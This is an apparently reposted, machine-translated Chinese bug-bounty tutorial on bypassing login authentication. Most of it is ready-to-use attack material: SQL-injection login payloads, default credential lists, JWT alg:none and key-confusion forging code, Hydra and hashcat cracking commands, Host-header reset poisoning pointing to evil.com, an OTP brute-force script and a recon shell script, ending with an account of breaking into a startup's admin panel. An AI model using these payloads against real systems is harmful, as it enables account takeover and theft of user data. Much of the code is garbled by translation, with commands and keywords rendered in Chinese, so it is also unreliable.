文章总结: 本文详细介绍了多种身份验证绕过技术,包括SQL注入登录绕过、默认凭据利用、JWT令牌攻击(算法混淆、弱密钥破解、头部注入)、密码重置漏洞(可预测令牌、主机头注入)以及2FA绕过(响应操纵、OTP暴力破解)。文档提供了具体攻击方法和可操作工具建议,旨在帮助渗透测试人员识别高危漏洞。 综合评分: 72 文章分类: 渗透测试,WEB安全,漏洞分析,红队,安全工具
绕过身份验证登录页面 Ko 绕过 Karo、Admin Bano、令牌利用 Karo!(Hinglish Mein)
haidragon haidragon
安全狗的自我修养
2026年4月27日 14:54 湖南
在小说阅读器读本章
去阅读
官网:http://securitytech.cc
绕过认证登录页面,成为管理员,利用令牌漏洞!
今天学什么?
- 了解身份验证与授权的区别
- SQL注入绕过登录
- 默认凭据是唾手可得的漏洞
- JWT令牌攻击达到精英级别
- 密码重置漏洞导致账户接管
- 2FA绕过技术
- 响应操纵 Burp 技巧
- 完整的漏洞赏金工作流程
为什么这么重要? 身份验证绕过指的是无需密码即可直接登录! 获取管理面板访问权限、窃取任何用户账户、破解双因素认证——所有这些都属于身份验证绕过的范畴!在漏洞赏金计划中,最高等级的高危赏金往往就在这里,金额从1,000美元到20,000美元以上不等!
理解身份验证与授权的区别
1. 认证=“你是谁?”
2. →登录——验证身份
4. →用户名+密码
6. →令牌、一次性密码、生物识别授权=“你有什么权利?”
8. →登录后——可获得哪些权限
10. →管理员?用户?版主?
12. → IDOR,权限提升本文中:
14. →身份验证绕过=直接跳过登录!
15. →输入有效凭证以进入!
第一部分:SQL注入登录绕过
经典SQL注入绕过:
1. --普通登录查询:
3. 选择*来自用户
5. 其中,用户名为‘admin’且密码为‘pass123’——SQL注入有效载荷的用户名为:
6. 用户名:admin'--
8. 密码:任意——会触发查询禁令:
10. 选择 * 来自用户
12. WHERE username='admin'--' AND password='anything'
14. ——密码检查已完成!管理员已登录!——更多有效载荷:
16. admin' OR '1'='1'--
18. admin' OR 1=1--
20. ' OR 1=1--
22. '或'x'='x
24. 管理员'/*
26. ' 或 1=1#
28. 管理员') 或 ('1'='1
高级SQL注入登录绕过:
1. --电子邮件字段中:
3. ' OR 1=1 LIMIT 1--
5. ' OR '1'='1' LIMIT 1 OFFSET 0----用户名字段:
7. 管理员'--
9. 管理员——
11. ' UNION SELECT 1,'admin','password',1----也请在密码字段中进行测试:
13. 用户名:admin
15. 密码:' OR '1'='1--两个字段:
17. 用户名:' OR 1=1--
19. 密码:' OR 1=1--
第二部分:默认凭据,最简单!
1. # 常用默认凭据:
3. 管理员:管理员
4. 管理员:密码
5. 管理员:admin123
6. 管理员:1234
7. 管理员:12345678
8. 管理员:管理员
9. 根:根
10. 根:toor
11. 测试:测试
12. 客人:客人
13. 用户:user123
14. 管理员:让我进去
15. 管理员:欢迎
16. 管理员:更改密码#设备/服务特定:
17. # 路由器:管理员:管理员,管理员:密码
18. # Jenkins:admin:admin
19. # Tomcat:tomcat:tomcat,admin:admin
20. # phpMyAdmin:root:(空)
21. # MongoDB:(默认无认证!)
22. # Redis:(默认无认证!)# 工具 — 默认凭据暴力破解:
23. hydra -L users.txt -P passwords.txt \
24. target.com HTTP POST 表单 \
26. “/login:username=^USER^&password=^PASS^:无效”
第三部分:JWT令牌攻击,顶级水平!
JWT = JSON Web Token,用于现代应用程序的身份验证
JWT 结构:
1. 头部.负载.签名eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiSGFja2VyTUQiLCJyb2xlIjoidXNlciJ9.abc123解码后:
3. 头部:{"alg":"HS256","typ":"JWT"}
4. 有效载荷:{"user":"HackerMD","role":"user","exp":1234567}
6. 签名:HMAC-SHA256(头部+负载,密钥)
攻击1:算法无经典!
1. # 如果alg=none,则不验证服务器签名!# 原始令牌:
3. 头部:{"alg":"HS256"}
4. 有效载荷:{"user":"黑客","role":"用户"}#修改后的令牌:
6. 标头:{"alg":"none"}
7. 有效载荷:{"user":"hacker","role":"admin"}←管理员!
9. 签名:(空)#编码并发送!
11. 导入 base64, jsonheader = base64.b64encode(
13. json.dumps({"alg":"none","typ":"JWT"}).encode()
14. ).rstrip(b'=').decode()payload = base64.b64encode(
16. json.dumps({"user":"hacker","role":"admin"}).encode()
17. ).rstrip(b'=').decode()令牌= f"{头部}.{负载}."
19. 打印(令牌)
21. # 服务器未验证 → 管理员权限!🔴
攻击2:HS256与RS256混淆
1. RS256 =非对称(公钥+私钥)
3. HS256 =对称(相同密钥)攻击:
5. →服务器使用RS256密钥
7. →公钥已公开提供
9. →攻击者:“用HS256签名——用公钥!”
10. →服务器使用公钥验证卡片→匹配!工具— JWT编辑器(Burp扩展):
12. 1.令牌拦截卡
14. 2. JWT编辑器→“攻击”→“HMAC密钥混淆”
15. 3.粘贴公钥
17. 4.修改负载→角色:“管理员”
19. 5.签名并→发送!
攻击3:弱密钥暴力破解
1. # JWT 密钥太弱,可能被破解!# 工具:hashcat
3. hashcat -a 0-m 16500 \
5. “eyJhbGci...TOKEN…”
7. /usr/share/wordlists/rockyou.txt# 工具:jwt-cracker
9. npm 安装-g jwt-cracker
11. jwt-cracker “TOKEN” rockyou.txt# 工具:john
13. 约翰——字典文件=rockyou.txt——格式=HMAC-SHA256 jwt.txt# 密钥找到了吗?
15. # 签署你的代币 → 管理员!
攻击4:JWT头部注入(kid参数)
1. // “kid” = 密钥 ID — 由服务器使用密钥 kis 进行验证?// 正常:
3. {"alg":"HS256","kid":"key1","typ":"JWT"}// 攻击——kid中的SQL注入:
5. {"alg":"HS256","kid":"' UNION SELECT 'attacker_secret'--","typ":"JWT"}
7. // 服务器使用攻击者的密钥进行验证!// 攻击——儿童路径遍历:
8. {"alg":"HS256","kid":"../../dev/null","typ":"JWT"}
10. // /dev/null = 空字符串 → 请勿填写密钥!// 制造令牌:
12. 导入jwt
14. 令牌= jwt.encode(
16. {"用户":"管理员","角色":"管理员"},
18. "",# 空密钥
20. 算法=“HS256”,
22. headers={"kid":"../../dev/null"}
24. )
攻击5:JWT过期时间篡改
1. # 修改已过期的令牌:
3. # 更改 exp 声明,导入 base64、json# 解码原始有效载荷
5. payload ={"user":"hacker","role":"user","exp":1000000000}#未来设置 exp
7. payload["exp"]=9999999999# 2286年!
9. payload["role"]="admin"# 编码后(签名无效——但请测试!)
11. new_payload = base64.b64encode(
13. json.dumps(数据).encode()
15. ).rstrip(b'=').decode()#如果服务器未正确验证→绕过!
第四部分:密码重置漏洞——账户接管链!
缺陷1:可预测的重置令牌
1. # 弱重置令牌生成:
3. import time, hashlib# 公司代码(存在漏洞):
5. 令牌= hashlib.md5(
7. str(time.time()).encode()# 时间戳!
8. ).hexdigest()#攻击:
10. # → 发送重置请求 → 记录时间
12. # → 针对美国时间附近的时间戳进行暴力破解
14. # → 生成令牌
16. # → 账户被盗!🔴
缺陷2:重置令牌重复使用
1. 测试卡罗:
3. 1.密码重置请求卡罗
5. 2.我收到了一封邮件里的链接→/reset?token=ABC123
7. 3.使用令牌→更改密码✅
9. 4.再次使用Wahi令牌→?token=ABC123
11. 5.如果工作正常→代币未失效!🔴
13. 6.旧令牌有效→账户访问!
缺陷3:主机头注入,令牌被盗!
1. # 普通重置请求:
3. POST /忘记密码 HTTP/1.1
5. 主机:target.com
7. 电子邮件=受害者@email.com# 已修改 — 更改主机头:
9. POST /忘记密码 HTTP/1.1
11. 主持人:evil.com
13. 电子邮件=受害者@email.com# 以使服务器生成带有主机头的链接:
15. # 重置邮箱中的链接:
17. # http://evil.com/reset?token=ABC123 ← 攻击者的域名!
19. # 受害者点击 → 令牌将归攻击者所有!🔴# 变体:
21. 主机:target.com
23. X-Forwarded-Host: evil.com主机:target.com
25. X-主机:evil.com
缺陷4:响应中的重置令牌
1. # 发送重置请求:
3. POST /api/忘记密码
5. {"email":"[email protected]"}#响应检查:
7. {
9. 消息:重置邮件已发送,
11. “token”:“abc123重置令牌”,←响应中的令牌!😱
13. “状态”:“成功”
15. }#令牌在响应中!
16. # 不需要受害者的电子邮件!
缺陷5:通过重置进行用户名/电子邮件枚举
1. 测试卡罗:
3. →[email protected]
5. 响应:“重置链接已发送!”(200 OK)→[email protected]
7. 响应:“未找到电子邮件!”(404)→不同响应=用户枚举!
8. →生成有效邮箱列表→针对性攻击!
第五部分:双重身份验证绕过技巧
旁路1:直接访问端点
1. 常规双因素认证流程:
3. /登录→凭据→/2FA验证→/仪表板绕过:
5. 使用凭据登录→跳过2FA验证
7. 直接/仪表板访问!
9. 如果服务器未完成双因素认证,就直接跳过→绕过!🎯
旁路2:OTP暴力破解
1. # 4位一次性密码 = 10,000种组合
3. # 6位一次性密码 = 1,000,000种组合
5. # 没有限制?→ 猛攻!# Burp Intruder:
7. POST /验证验证码
9. {"otp":"§0000§"}#载荷:数字0000-9999
11. # 攻击类型:狙击手
13. # 速率:检查是否存在限制# Python脚本:
15. import requestsfor otp in range(0,10000):
17. r = requests.post(
19. “https://target.com/verify-otp”
21. json={"otp": f"{otp:04d}"},
23. cookies={"session":"YOUR_SESSION"}
25. )
27. 如果“success”在r.text中或r.status_code ==200:
29. print(f"🔴 找到 OTP:{otp:04d}")
31. 中断
绕过方法3:OTP重复使用
1. 1.接收一次性密码→使用→登录✅
3. 2.重新尝试一次性密码
5. 3.如果工作正常→ OTP 未失效!
6. 4.旧一次性密码有效→绕过双因素认证!
绕过4:响应操纵Burp技巧!
1. # 验证双因素认证——OTP错误:
3. POST /验证双因素认证
5. {"otp":"000000"}响应(失败):
7. {"success":false,"message":"无效的OTP"}#在Burp中拦截响应
9. # 将 false → true:
11. {"success":true,"message":"无效的OTP"}#转发卡罗→服务器已接受!🎯
13. # 2FA绕过!
绕过方法5:备用代码滥用
1. 备份代码查找:
3. →个人资料设置中包含备份代码
5. →在API响应中暴露?
7. GET /api/user/settings →{"backup_codes":["123456","789012"]}
9. →备份代码使用karo →绕过2FA!
第6部分:响应操纵通用绕过!
Burp Suite 的响应修改功能简直太神奇了!
技术1:状态码变更
1. # 登录失败响应:
3. HTTP/1.1401未授权
5. {"error":"无效的凭据","success":false}#Burp中拦截(响应):
7. 401→200更改 karo
9. 将false→true更改#前进→如果能正常工作,则服务器端验证较弱!
技术2:JSON响应修改
1. # 登录失败:
3. {"已认证":false,"角色":"无","重定向":"/登录"}#修改 karo:
5. {"authenticated":true,"role":"admin","redirect":"/admin"}#转发→管理员仪表板?→漏洞!
技巧3:Cookie操作
1. 以普通用户登录→获取Cookie:
3. 角色=用户;管理员=false;已认证=true修改卡罗:
5. 角色=管理员;管理员=true;已认证=true如果未进行服务器端验证→管理员权限!工具:Burp→Cookie编辑器
7. EditThisCookie(Chrome扩展程序)
第7部分:自动化测试工具
工具1:海德拉登录暴力破解
1. # HTTP POST 表单暴力破解:
3. 水螅-l 管理员 \
5. -P /usr/share/wordlists/rockyou.txt \
7. 目标网 \
9. http-POST表单 \
11. “/login:username=^USER^&password=^PASS^:凭证无效”
13. -t 30# HTTP GET 表单:
15. 水螅-L users.txt \
17. -P 密码.txt \
19. 目标网 \
21. http-获取表单 \
23. “/login?user=^USER^&pass=^PASS^:错误”
工具2:jwt_tool JWT测试
1. # 安装karo
3. git 克隆 https://github.com/ticarpi/jwt_tool
5. 切换到 jwt_tool 目录
7. pip3 安装-r requirements.txt# 用于标记分析
9. python3 jwt_tool.py 令牌#算法:无攻击
11. python3 jwt_tool.py 令牌-X a# HS256 与 RS256 混淆
13. python3 jwt_tool.py 令牌-X s -pk public.pem# 暴力破解密钥
15. python3 jwt_tool.py TOKEN -C -d wordlist.txt# 扫描所有漏洞
17. python3 jwt_tool.py 令牌-T
工具3:Nuclei 认证模板
1. # 默认凭据检查
3. 核-l targets.txt \
5. -t ~/nuclei-templates/default-logins/ \
7. -o default_creds.txt# 身份验证绕过
9. 核-l targets.txt \
11. -标签身份验证绕过,默认登录 \
13. -o auth_bypass.txt# JWT 漏洞
15. 核-l targets.txt \
17. -标签 jwt \
19. -o jwt_issues.txt
第8部分:完整精英工作流程
1. #!/bin/bash
3. # auth_bypass_hunt.shTARGET=$1
4. DIR="auth_${TARGET}"
5. mkdir -p $DIRecho “🔓认证绕过狩猎:$TARGET”
6. echo "══════════════════════════════# 第一步:登录页面 dhundho"
7. echo "🔍 查找登录页面..."
8. gau $TARGET | grep -iE \
9. 登录|注册|认证|账户|管理员|面板|
10. 仪表板|门户|wp-login|cPanel" | \
11. 欧元 > $DIR/login_pages.txt
12. echo "✅登录页面:$(wc -l < $DIR/login_pages.txt)"# 第二步:默认凭据测试
13. echo "🔑默认凭据..."
14. 核 -l $DIR/login_pages.txt \
15. -t ~/nuclei-templates/default-logins/ \
16. -静音 \
17. -o $DIR/default_creds.txt 2>/dev/null
18. echo "✅默认凭据:$(wc -l < $DIR/default_creds.txt)"# 第3步:查找JWT令牌
19. echo "🎫 JWT 令牌检查..."
20. 高 $TARGET | \
21. 当读取url时;做
22. response=$(curl -s "$url" -I 2>/dev/null)
23. 如果 echo "$response" | grep -qiE "eyJ[A-Za-z0-9]"; 则
24. echo "找到JWT:$url" >> $DIR/jwt_endpoints.txt
25. 菲
26. 完成# 第4步:密码重置端点
27. echo "🔄重置端点..."
28. gau $TARGET | grep -iE \
29. 忘记|重置|恢复|密码 | \
30. 欧元 > $DIR/reset_endpoints.txt# 第5步:Nuclei认证扫描
31. echo "☢️核心认证扫描..."
32. 核 -l $DIR/login_pages.txt \
33. -标签 认证,JWT,绕过认证 \
34. -静音 \
35. -o $DIR/nuclei_auth.txt 2>/dev/nullecho "══════════════════════════════"
36. echo "📊结果:"
37. echo "登录页面数量:$(wc -l < $DIR/login_pages.txt)"
38. echo "默认凭据: $(wc -l < $DIR/default_creds.txt)"
39. echo "JWT 端点数量:$(wc -l < $DIR/jwt_endpoints.txt 2>/dev/null)"
40. echo "重置端点:$(wc -l < $DIR/reset_endpoints.txt)"
42. echo "结果在: $DIR/"
认证绕过 Cheat Sheet
1. # ─── SQL 注入登录绕过 ───────────────────
3. 管理员'--
4. ' OR 1=1--
5. ' OR '1'='1'--
6. admin') OR ('1'='1# ─── JWT攻击 ──────────────────────────
7. 算法:无 → 签名移除卡罗
8. HS256→RS256 → 使用公钥进行签名
9. 弱密钥 → 暴力破解 karo
10. 儿童注射 → SQL注入/路径遍历# ─── 两步验证绕过 ──────────────────────────
11. 直接端点 → /2fa 跳过
12. 暴力破解 → 检查速率限制
13. 响应操作 → 假→真
14. OTP复用 → 相同的OTP dobara# ─── 密码重置 ──────────────────────
15. 令牌复用 → 旧令牌有效?
16. 主机头 → 恶意.com 重定向
17. 响应中的令牌 → API 泄漏
18. 枚举 → 用户存在检查# ─── 响应操作 ───────────────
19. 401→200 → 状态码变更
20. 假→真 → JSON 修改
21. 角色=用户→管理员→Cookie编辑# ─── 工具 ────────────────────────────────
22. jwt_tool → JWT 所有攻击
23. 水螅 → 暴力破解
24. 核 - 标签 认证 → 自动化扫描
26. Burp Repeater → 手动测试
奖金影响指南
1. 🟢低(200-500美元):
3. →用户枚举
5. →弱密码策略
7. →缺失暴力破解防护🟡中等(500-1500美元):
9. →2FA绕过(低严重性)
11. →密码重置令牌复用
13. →可预测的代币🟠高(1500-5000美元):
15. → JWT 算法:无→管理员访问
17. →2FA完全绕过
19. →密码重置→账户接管🔴严重(5000-20000+美元):
21. →管理员面板身份验证绕过
23. →大规模账户劫持
25. → JWT →权限提升→远程代码执行
今天的作业
1. # 1. JWT游乐场:
3. # https://jwt.io → 解码令牌
5. # 更改算法标头 → 测试# 2. 安装并练习 jwt_tool:
7. git 克隆 https://github.com/ticarpi/jwt_tool
9. cd jwt_tool && pip3 install -r requirements.txt# PortSwigger JWT 实验室(免费!):
11. # https://portswigger.net/web-security/jwt
13. # 完成所有实验室!# 3. WebGoat 身份验证实验室:
15. docker run -p 8080:8080 webgoat/goat-and-wolf
17. # 认证缺陷部分# 4. 测试漏洞赏金:
19. # 查找Koi应用 → 登录 → JWT令牌?
20. # 分析jwt_tool
22. # 重置流程测试并注入主机标头
快速复习
1. 🔓身份验证绕过=使用有效凭据登录
3. 🗄️ SQL注入= admin'-- 登录绕过
5. 🔑 默认凭据 = admin:admin 测试卡罗!
7. 🎫 JWT = 算法:无,密钥较弱,
9. RS256混淆,儿童注射
11. 🔄 重置缺陷 = 令牌复用、主机头、
13. 响应中的标记
15. 📱 2FA绕过 = 直接访问,暴力破解,
17. 响应操纵
19. 🎭 响应操纵 = 在Burp中将false→true!
21. 🤖 工具 = jwt_tool、hydra、nuclei
23. 💰 最高赏金 = 管理员绕过 = 5000-20000美元以上!
我的谈话……
我在一个初创公司的管理面板上分析了JWT令牌:
1. python3 jwt_tool.py eyJhbGci...TOKEN...
输出:
1. [+]解码后的标记:
3. 头部:{"alg":"HS256","typ":"JWT"}
4. 有效载荷:{"user_id":1337,"role":"用户","exp":9999999999}
缅因州尝试了 alg:none攻击:
1. python3 jwt_tool.py 令牌-X a
新令牌:
1. eyJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxMzM3LCJyb2xlIjoiYWRtaW4ifQ.
将 role:"user"改为 role:"admin"后发送!回复:
1. {"message":"欢迎管理员!","dashboard":"/admin/users"}
管理员面板访问需设置密码!😱
在完整的管理面板中查看50,000+ 用户记录、财务数据和内部分析!赏金:7,500美元,至关重要!🎉
教训:千万别盲目信任JWT令牌,用 **jwt_tool**扫描一下, **alg:none**至今仍在2026年存在呢! 在另一篇文章中,我们将学习如何对现代应用的骨干——REST API、GraphQL 和隐藏端点——进行API 安全测试!🔥
-
+ 公众号:安全狗的自我修养
-
vx:2207344074
-
http://gitee.com/haidragon
-
http://github.com/haidragon
-
bilibili:haidragonx
-
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《绕过身份验证登录页面 Ko 绕过 Karo、Admin Bano、令牌利用 Karo!(Hinglish Mein)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论